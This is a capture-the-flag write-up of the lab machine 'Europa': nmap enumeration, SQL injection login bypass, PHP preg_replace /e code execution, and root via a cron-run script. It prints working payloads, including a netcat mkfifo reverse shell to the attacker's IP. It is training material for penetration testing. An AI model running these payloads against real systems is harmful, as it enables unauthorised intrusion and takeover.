Europa

Enumeration
As usual, we start with an nmap scan, in order to find open ports in the target machine.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.22 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.-p-
scanning the entire port range, from 1 to 65535.-T5
insane mode, it is the fastest mode of the nmap time template.-Pn
assume the host is online.-n
scan without reverse DNS resolution.-oN
save the scan result into a file, in this case the allports file.
As we see, ports 22,80,443 are open. Let's try to obtain more information about the service and version running on those ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80,443 10.10.10.22 -oN targeted
-sC
performs the scan using the default set of scripts.-sV
enables version detection.-oN
save the scan result into file, in this case the targeted file.
We have an HTTPS server, and nmap detected the europacorp.htb
and the admin-portal.europacorp.htb
domain names. Let's include them to the /etc/hosts
file.
If we search for the admin-portal.europacorp.htb
domain name on the browser we should see a login page.

Exploitation
At this point I tried some random credentials, but I couldn't get in. So I tried to do an SQL Injection attack. Let's try some random credentials, intercept the request with Burpsuite and send it to the Repeater.

If we try to modify the request adding the '
character at the end of the email we will get an SQL error.
email=admin%40admin.com'&password=admin

If we can select all the columns of the current table, we'll be able to pass through the login page. To know how many columns there are, we will have to make a union select 1,2-- -
query. If we try with only2 columns, we'll get an error saying that there is not that number of columns.
email=admin%40admin.com'union select 1,2-- -&password=admin

If we try 3 columns we'll get the same error. But, if we keep trying, will get a 302 response with 5 columns.
email=admin%40admin.com'union select 1,2,3,4,5-- -&password=admin

Let's put that query in the Proxy > Intercept
and forward it. We shloud pass through the login page.


If we click on the Tools section, we will see a text in a JSON format in which we can replace the ip_address
field with anything that we introduce.

If we introduce some random text we should see it appear where the ip_address
value was.

If we intercept the previous request with Burpsuite and send it to the repeater, we'll see that the the ip_address
value is between the /
characters.
pattern=/ip_address/&ipaddress=alfa8sa&text=...

At this point, I searched for PHP regular expressions vulnerabilities and I found this article, which explains that you could have Remote Code Execution (RCE) by adding the e
modifier after the second /
.
pattern=/ip_address/e&ipaddress=system('whoami')&text=...

Time to get a shell. Let's set a netcat listener on port 4444.
nc -lvnp 4444
-l
listen mode.-v
verbose mode.-n
numeric-only IP, no DNS resolution.-p
specify the port to listen on.
Now, instead of executing whoami
, let's run a command to get us a reverse shell. We will get the shell as the www-data user, and we'll be able to grab the user flag.
pattern=/ip_address/e&ipaddress=system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 4444 >/tmp/f')&text=...

Here's a python script which automates getting initial foothold.
Privilege Escalation
First of all, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z
and execute the following command on my local machine:
stty raw -echo; fg
Next, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
We can see there is a crontab task running as root.
cat /etc/crontab
Let's try to see what is the content of that file.
It is a PHP file, which replace the content of a file with an empty string and then executes a bash binary. Let's find out more information about that binary.
ls -l /var/www/cmd/logcleared.sh
The file doesn't exists. The idea is to create that file and write a bash command which gives the /bin/bash
the SUID permission. So when the crontab task is executed as the root user, we'll be able to get a shell as root.
nano /var/www/cmd/logcleared.sh
If we wait for 1 minute, we'll see that the SUID bit gets activated on the /bin/bash
binary.
ls -l /bin/bash
Now all we have to do is reap the harvest and take the root flag.
bash -p
Last updated
Was this helpful?